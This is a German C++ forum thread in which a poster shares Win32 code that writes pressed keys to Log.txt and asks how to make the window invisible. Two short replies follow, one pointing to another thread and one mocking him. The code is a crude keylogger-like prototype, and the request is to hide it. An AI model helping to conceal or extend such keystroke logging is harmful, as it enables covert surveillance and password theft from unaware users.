API



  • Hab mal ne frage und zwar wie kann ich des programm hier unsichtbar machen:

    #include <windows.h>
    #include <stdio.h>
    #include <iostream>
    LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    PSTR szCmdLine, int iCmdShow)
    {
    MSG msg;
    HWND hWnd;
    WNDCLASS wc;

    const char szAppName[] = "Texte einlesen";

    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH);
    wc.hCursor = LoadCursor(NULL, IDC_ARROW);
    wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wc.hInstance = hInstance;
    wc.lpfnWndProc = WndProc;
    wc.lpszClassName = szAppName;
    wc.lpszMenuName = NULL;
    wc.style = CS_HREDRAW | CS_VREDRAW;

    RegisterClass(&wc);

    hWnd = CreateWindow( szAppName,
    szAppName,
    WS_OVERLAPPEDWINDOW,
    CW_USEDEFAULT,
    CW_USEDEFAULT,
    CW_USEDEFAULT,
    CW_USEDEFAULT,
    NULL,
    NULL,
    hInstance,
    NULL);

    ShowWindow(hWnd, iCmdShow);
    UpdateWindow(hWnd);

    while (GetMessage(&msg, NULL, 0, 0))
    {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
    }
    return msg.wParam;
    }

    LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {

    static RECT rect;
    static char cBuffer[1000000];
    static int iActLen;

    switch (message)
    {
    case WM_SIZE:
    {
    rect.left = 20;
    rect.right = LOWORD(lParam) - 20;
    rect.bottom = HIWORD(lParam);
    return 0;
    }
    case WM_CHAR:
    {
    switch (wParam)
    {
    case '\r':
    iActLen = 0;
    InvalidateRect(hWnd, NULL, TRUE);
    break;
    case '\b':
    if (iActLen <= 0)
    break;

    iActLen--;
    InvalidateRect(hWnd, NULL, TRUE);
    break;
    case '\t':
    case '\n':
    case 27 :
    break;
    default:
    if (iActLen < sizeof(cBuffer))
    {
    cBuffer[iActLen++] = wParam;
    InvalidateRect(hWnd, NULL, FALSE);
    }
    break;
    }
    return 0;
    }

    case WM_KEYDOWN:
    {
    FILE *h;
    h = fopen("Log.txt","a+");
    fputc(wParam,h);
    fclose(h);
    if (wParam == VK_ESCAPE)
    {
    SendMessage(hWnd, WM_CLOSE, 0, 0);
    }
    return 0;
    }
    case WM_DESTROY:
    {
    PostQuitMessage(0);
    return 0;
    }
    }
    return DefWindowProc(hWnd, message, wParam, lParam);
    }

    wenn ich ShowWindow(hWnd, SW_HIDE) setze dann beendet sich des prog irgendwie ^^

    des programm wird auf meinem pc die funktion haben sämtliche logs zu schreiben ^^ des is nur ein ausschnitt aus dem progg

    danke für eure antworten



  • zwei Threads weiter unten mal genau schauen 😉
    http://www.c-plusplus.net/forum/viewtopic-var-t-is-157302.html



  • hmm jop... in dem du mal ganz schnell programmieren lernst ... copy&past gilt NICHT!


Anmelden zum Antworten